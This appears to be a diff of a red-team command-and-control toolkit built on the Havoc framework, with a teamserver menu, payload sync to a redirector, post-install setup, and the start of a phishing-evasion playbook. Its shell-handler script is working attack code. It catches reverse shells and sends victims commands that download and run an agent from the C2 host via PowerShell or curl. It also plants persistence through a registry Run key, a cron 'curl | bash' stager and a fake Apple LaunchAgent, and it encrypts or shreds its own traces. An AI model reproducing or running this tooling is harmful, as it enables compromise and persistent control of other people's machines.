"""Main entry point — called from c2itall deploy.py tools_menu()."""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}CHAOS C2{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}========{COLORS['RESET']}")
|
||||
print(f" Havoc-based C2 framework")
|
||||
|
||||
# Show whether source is available
|
||||
if os.path.isdir(CHAOS_PATH):
|
||||
ts_label = (f"{COLORS['GREEN']}built{COLORS['RESET']}"
|
||||
if os.path.exists(TEAMSERVER)
|
||||
else f"{COLORS['YELLOW']}not built{COLORS['RESET']}")
|
||||
print(f" Source: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']} (teamserver: {ts_label})")
|
||||
else:
|
||||
print(f" Source: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
|
||||
print()
|
||||
|
||||
print(f"1) Deploy Chaos {COLORS['CYAN']}(local — runs Install.sh){COLORS['RESET']}")
|
||||
print(f"2) Deploy Chaos {COLORS['CYAN']}(remote SSH — SCP + install){COLORS['RESET']}")
|
||||
print(f"3) Start Teamserver")
|
||||
print(f"4) Stop Teamserver")
|
||||
print(f"5) Show Status")
|
||||
print(f"6) Generate Payload")
|
||||
print(f"7) View Loot {COLORS['GRAY']}(tail data/logs/){COLORS['RESET']}")
|
||||
print(f"99) Return to Tools Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ").strip()
|
||||
|
||||
if choice == '1':
|
||||
_deploy_local()
|
||||
elif choice == '2':
|
||||
_deploy_remote()
|
||||
elif choice == '3':
|
||||
_start_teamserver()
|
||||
elif choice == '4':
|
||||
_stop_teamserver()
|
||||
elif choice == '5':
|
||||
_show_status()
|
||||
elif choice == '6':
|
||||
_generate_payload()
|
||||
elif choice == '7':
|
||||
_view_loot()
|
||||
elif choice == '99':
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Havoc C2 framework installer
|
||||
#
|
||||
# Installs Havoc C2 teamserver and client from source, configures systemd service,
|
||||
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
|
||||
# firewall rules restricting access to redirector IPs only).
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Havoc installer not included in public release."
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Havoc profile mutation script
|
||||
#
|
||||
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
|
||||
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
|
||||
# Feeds output directly into the teamserver configuration pipeline.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Havoc profile mutator not included in public release."
|
||||
@@ -0,0 +1,218 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=4488
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||
HAVOC_USER="admin"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||
LINUX_PAYLOAD="linux/agent_linux"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Get Havoc password
|
||||
get_havoc_password() {
|
||||
# Extract password from Havoc profile
|
||||
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||
echo $HAVOC_PASS
|
||||
}
|
||||
|
||||
# Deploy appropriate Havoc agent based on OS
|
||||
deploy_agent() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying Havoc agent for detected OS: $os_type"
|
||||
|
||||
# Get the latest payload paths from manifest
|
||||
local manifest="/root/Tools/Havoc/payloads/manifest.json"
|
||||
if [ -f "$manifest" ]; then
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
|
||||
fi
|
||||
else
|
||||
# Use default paths if manifest doesn't exist
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
|
||||
fi
|
||||
fi
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use PowerShell to download and execute
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
linux)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
macos)
|
||||
# For macOS, we'll attempt to use the Linux payload
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Havoc agent deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy Havoc agent
|
||||
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Havoc agent deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
@@ -0,0 +1,10 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — implant mutation script
|
||||
#
|
||||
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
|
||||
# names, mutex strings) before each compile to defeat signature-based detection.
|
||||
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
|
||||
# a fresh shellcode blob, and backs up the previous payload with a timestamp.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Implant mutator not included in public release."
|
||||
@@ -0,0 +1,302 @@
|
||||
#!/bin/bash
|
||||
# post_install_c2.sh - Post-installation setup for C2 server
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# Default settings
|
||||
DEBUG=false
|
||||
RUN_ON_REDIRECTOR=false
|
||||
|
||||
# Show usage information
|
||||
function show_usage() {
|
||||
echo "Usage: $0 [options]"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " -d, --debug Enable debug/verbose output"
|
||||
echo " -r, --run-on-redirector Run post-install script on redirector"
|
||||
echo " -h, --help Show this help message"
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Process command line arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
-d|--debug)
|
||||
DEBUG=true
|
||||
shift
|
||||
;;
|
||||
-r|--run-on-redirector)
|
||||
RUN_ON_REDIRECTOR=true
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
show_usage
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
show_usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Debug function - only prints if DEBUG is true
|
||||
function debug() {
|
||||
if [ "$DEBUG" = true ]; then
|
||||
echo -e "${BLUE}[DEBUG] $1${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
debug "Checking DNS for $domain"
|
||||
debug "Current IP: $current_ip"
|
||||
debug "Resolved IP: $resolved_ip"
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
debug "Domain: $domain, Email: $email"
|
||||
|
||||
# Stop Havoc service temporarily to free port 80
|
||||
systemctl stop havoc 2>/dev/null
|
||||
debug "Stopped Havoc service"
|
||||
|
||||
# Get certificate
|
||||
debug "Running certbot to obtain certificate"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
else
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
cert_result=$?
|
||||
debug "Certbot result code: $cert_result"
|
||||
|
||||
if [ $cert_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
|
||||
# Configure applications to use the certificate if needed
|
||||
if [ -f "/etc/postfix/main.cf" ]; then
|
||||
debug "Updating Postfix configuration with new certificate"
|
||||
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||
fi
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display DKIM/DMARC records
|
||||
show_dns_records() {
|
||||
domain=$1
|
||||
|
||||
debug "Showing DNS records for $domain"
|
||||
|
||||
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: mail._domainkey.$domain"
|
||||
echo -e "Value:"
|
||||
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||
echo -e "\n${GREEN}=================================================${NC}"
|
||||
fi
|
||||
|
||||
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: _dmarc.$domain"
|
||||
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
}
|
||||
|
||||
# Function to test redirector connection
|
||||
test_redirector() {
|
||||
# Check if SSH to redirector is configured
|
||||
debug "Testing redirector connection"
|
||||
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
|
||||
else
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
ssh_result=$?
|
||||
debug "SSH connection result: $ssh_result"
|
||||
|
||||
if [ $ssh_result -eq 0 ]; then
|
||||
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
|
||||
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Could not connect to redirector.${NC}"
|
||||
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
|
||||
echo -e "If you need to access the redirector, please check deployment logs."
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to synchronize payloads with redirector
|
||||
sync_payloads() {
|
||||
# Check if sync script exists
|
||||
debug "Attempting to synchronize payloads with redirector"
|
||||
|
||||
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
|
||||
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
/root/Tools/secure_payload_sync.sh
|
||||
else
|
||||
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
sync_result=$?
|
||||
debug "Payload sync result: $sync_result"
|
||||
|
||||
if [ $sync_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Payload synchronization successful${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Payload synchronization failed${NC}"
|
||||
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Payload sync script not found${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to run redirector post-install script
|
||||
run_redirector_setup() {
|
||||
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
|
||||
debug "Checking if we can connect to redirector"
|
||||
|
||||
# First, test the connection
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
# Check if post_install_redirector.sh exists on the redirector
|
||||
debug "Checking for post_install_redirector.sh on redirector"
|
||||
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||
|
||||
check_result=$?
|
||||
debug "Script check result: $check_result"
|
||||
|
||||
if [ $check_result -eq 0 ]; then
|
||||
echo -e "${BLUE}Running post-install script on redirector...${NC}"
|
||||
# Pass the debug flag if it's enabled here
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
|
||||
else
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
|
||||
fi
|
||||
|
||||
redir_setup_result=$?
|
||||
debug "Redirector setup result: $redir_setup_result"
|
||||
|
||||
if [ $redir_setup_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Redirector post-installation failed${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}SSH configuration for redirector not found${NC}"
|
||||
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Main execution
|
||||
debug "Starting post-installation process with debug mode: $DEBUG"
|
||||
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
|
||||
|
||||
echo -e "\n${BLUE}Running post-installation checks...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter primary domain: " domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check DNS configuration
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $domain
|
||||
|
||||
# Ask if user wants to set up Let's Encrypt certificates
|
||||
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
|
||||
if [ "$setup_ssl" = "y" ]; then
|
||||
setup_letsencrypt $domain $email
|
||||
fi
|
||||
|
||||
# Show DNS records to configure
|
||||
show_dns_records $domain
|
||||
|
||||
# Test redirector connection
|
||||
test_redirector
|
||||
|
||||
# Ask if user wants to sync payloads
|
||||
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
|
||||
if [ "$sync_payload" = "y" ]; then
|
||||
sync_payloads
|
||||
fi
|
||||
|
||||
# Ask if user wants to run post-install on redirector
|
||||
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
|
||||
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
|
||||
if [ "$run_on_redir" = "y" ]; then
|
||||
run_redirector_setup
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
|
||||
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
|
||||
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
|
||||
@@ -0,0 +1,150 @@
|
||||
#!/bin/bash
|
||||
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||
|
||||
# Configuration
|
||||
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||
REDIRECTOR_USER="root"
|
||||
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||
ENCRYPTED_TRANSFER=true
|
||||
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||
LOG_RETENTION_DAYS=3
|
||||
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||
|
||||
# Create minimal timestamped log with auto-rotation
|
||||
log() {
|
||||
mkdir -p $(dirname $LOG_FILE)
|
||||
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||
}
|
||||
|
||||
# Add random delay for OPSEC
|
||||
sleep_random() {
|
||||
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||
log "Adding random delay of $DELAY seconds"
|
||||
sleep $DELAY
|
||||
}
|
||||
|
||||
# Generate payload manifest and check for changes
|
||||
check_for_changes() {
|
||||
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||
log "ERROR: Payload directory not found"
|
||||
return 1
|
||||
fi
|
||||
|
||||
TMP_DIR=$(mktemp -d)
|
||||
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||
|
||||
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||
HASH_FILE="/root/Tools/.payload_hash"
|
||||
|
||||
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||
log "No payload changes detected"
|
||||
secure_delete $TMP_DIR
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo $CURRENT_HASH > $HASH_FILE
|
||||
return 0
|
||||
}
|
||||
|
||||
# Secure deletion of files/directories
|
||||
secure_delete() {
|
||||
if [ -d "$1" ]; then
|
||||
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||
rm -rf "$1" 2>/dev/null
|
||||
elif [ -f "$1" ]; then
|
||||
shred -n 3 -z -u "$1" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
# Encrypt archive with random password
|
||||
encrypt_archive() {
|
||||
SRC="$1"
|
||||
DEST="$2"
|
||||
|
||||
# Generate random password
|
||||
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||
PASS_FILE=$(mktemp)
|
||||
echo $PASSWORD > $PASS_FILE
|
||||
|
||||
# Encrypt the archive
|
||||
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||
|
||||
# Store password temporarily for transfer
|
||||
echo $PASSWORD
|
||||
|
||||
# Securely delete password file
|
||||
secure_delete $PASS_FILE
|
||||
}
|
||||
|
||||
# Main execution
|
||||
main() {
|
||||
log "Starting secure payload sync"
|
||||
|
||||
# Add randomized timing
|
||||
sleep_random
|
||||
|
||||
# Check for payload changes
|
||||
check_for_changes || exit 0
|
||||
|
||||
# Generate random archive name for OPSEC
|
||||
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Create payload archive
|
||||
log "Creating payload archive"
|
||||
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||
|
||||
# Encrypt archive if enabled
|
||||
PASSWORD=""
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
log "Encrypting payload archive"
|
||||
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||
else
|
||||
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||
fi
|
||||
|
||||
# Transfer archive to redirector
|
||||
log "Transferring payloads to redirector"
|
||||
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||
|
||||
# Handle remote extraction with decryption if needed
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
TEMP_DIR=\$(mktemp -d)
|
||||
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||
# Clean up
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||
rm -rf \$TEMP_DIR
|
||||
# Update web server if needed
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
else
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
fi
|
||||
|
||||
# Execute command on redirector
|
||||
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||
|
||||
# Clean up local temp files
|
||||
log "Cleaning up temporary files"
|
||||
secure_delete $TEMP_DIR
|
||||
|
||||
log "Payload sync completed successfully"
|
||||
}
|
||||
|
||||
# Run main function
|
||||
main
|
||||
@@ -0,0 +1,134 @@
|
||||
---
|
||||
# Advanced evasion techniques for red team phishing
|
||||
|
||||
- name: Install advanced evasion tools
|
||||
apt:
|
||||
name:
|
||||
- python3-dnspython
|
||||
- python3-requests
|
||||
- python3-selenium
|
||||
- chromium-browser
|
||||
- chromium-chromedriver
|
||||
- tor
|
||||
- proxychains4
|
||||
state: present
|
||||
|
||||
- name: Create SMTP smuggling configuration
|
||||
template:
|
||||
